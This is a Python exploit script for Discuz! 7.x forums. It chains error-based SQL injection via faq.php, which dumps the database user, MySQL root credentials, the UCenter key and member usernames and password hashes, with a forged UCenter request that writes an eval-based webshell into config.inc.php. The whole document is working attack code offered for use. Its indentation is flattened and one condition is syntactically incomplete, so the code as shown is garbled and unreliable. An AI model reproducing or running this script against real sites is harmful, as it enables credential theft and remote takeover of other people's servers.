实现代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base
import urllib2 
import urllib
import re

def sendRequest(url,para):
	try:
	data = urllib.urlencode(para)
	req=urllib2.Request(url,data)
	res=urllib2.urlopen(req,timeout=20).read()
	except Exception, e:
	print 'Exploit Failed!\n%s'%(e)
	exit(0);
	return res

def getTablePrefix(url):
	print 'Start GetTablePrefix...'
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res);
	if len(pre)==0:
	print 'Exploit Failed!'
	exit(0);
	table_pre=pre[0][:len(pre[0])-1].decode('hex')
	table_pre=table_pre[0:table_pre.index('_')]
	print 'Table_pre:%s'%(table_pre)
	return table_pre

def getCurrentUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para)
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
	print 'Exploit Failed!'
	exit(0);
	table_pre=pre[0][:len(pre[0])-1]
	print 'Current User:%s'%(table_pre)
	return table_pre

def getUcKey(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	res1=sendRequest(url,para1);
	key1=re.findall("Duplicate entry '(.*?)'",res)
	key2=re.findall("Duplicate entry '(.*?)'",res1)
	if len(key1)==0:
	print 'Get Uc_Key Failed!'
	return ''
	key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
	print 'uc_key:%s'%(key)
	return key

def getRootUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
	print 'Exploit Failed!'
	exit(0);
	table_pre=pre[0][:len(pre[0])-1].split(' ')
	print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
	res=sendRequest(url,para);
	datas=re.findall("Duplicate entry '(.*?)'",res)
	if len(datas)==0:
	print 'Exploit Failed!'
	exit(0)
	cleandata=datas[0][:len(datas[0])-1]
	info=cleandata.split(' ')
	print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :
 if get_as_float:
 return time.time()
 else:
 return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
 ckey_length = 4
 key = hashlib.md5(key).hexdigest()
 keya = hashlib.md5(key[0:16]).hexdigest()
 keyb = hashlib.md5(key[16:32]).hexdigest()
 keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
 cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
 key_length = len(cryptkey)
 string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
 string_length = len(string)
 result = ''
 box = range(0, 256)
 rndkey = dict()
 for i in range(0,256):
 rndkey[i] = ord(cryptkey[i % key_length])
 j=0
 for i in range(0,256):
 j = (j + box[i] + rndkey[i]) % 256
 tmp = box[i]
 box[i] = box[j]
 box[j] = tmp
 a=0
 j=0
 for i in range(0,string_length):
 a = (a + 1) % 256
 j = (j + box[a]) % 256
 tmp = box[a]
 box[a] = box[j]
 box[j] = tmp
 result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
 return keyc + base.bencode(result).replace('=', '')
 
def get_shell(url,key,host):
 headers={'Accept-Language':'zh-cn',
 'Content-Type':'application/x-www-form-urlencoded',
 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
 'Referer':url
 }
 tm = time.time()+10*3600
 tm="time=%d&action=updateapps" %tm
 code = urllib.quote(get_authcode(tm,key))
 url=url+"?code="+code
 data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
 
 http://xxx\');eval($_POST[3]);//
 '''
 try:
 req=urllib2.Request(url,data=data1,headers=headers)
 ret=urllib2.urlopen(req)
 except:
 return "Exploit Falied"
 data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
 
 http://aaa
 '''
 try:
 req=urllib2.Request(url,data=data2,headers=headers)
 ret=urllib2.urlopen(req)
 except:
 return "error"

 try:
 	req=urllib2.Request(host+'/config.inc.php')
 	res=urllib2.urlopen(req,timeout=20).read()
 except Exception, e:
 	print 'GetWebshell Failed,%s'%(e)
 	return
 print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
	print 'DZ7.x Exp Code By iswin'
	if len(sys.argv)<3:
	print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.bitsCN.com 10'
	exit(0)
	url=sys.argv[1]+'/faq.php'
	count=int(sys.argv[2])
	user=getCurrentUser(url)
	if user.startswith('root@'):
	getRootUser(url)
	uc_key=getUcKey(url)
	if len(uc_key)==:
	print 'Start GetWebshell...'
	get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
	tb_pre=getTablePrefix(url)
	print 'Start DumpData...'
	for x in xrange(0,count):
	dumpData(url,tb_pre,x)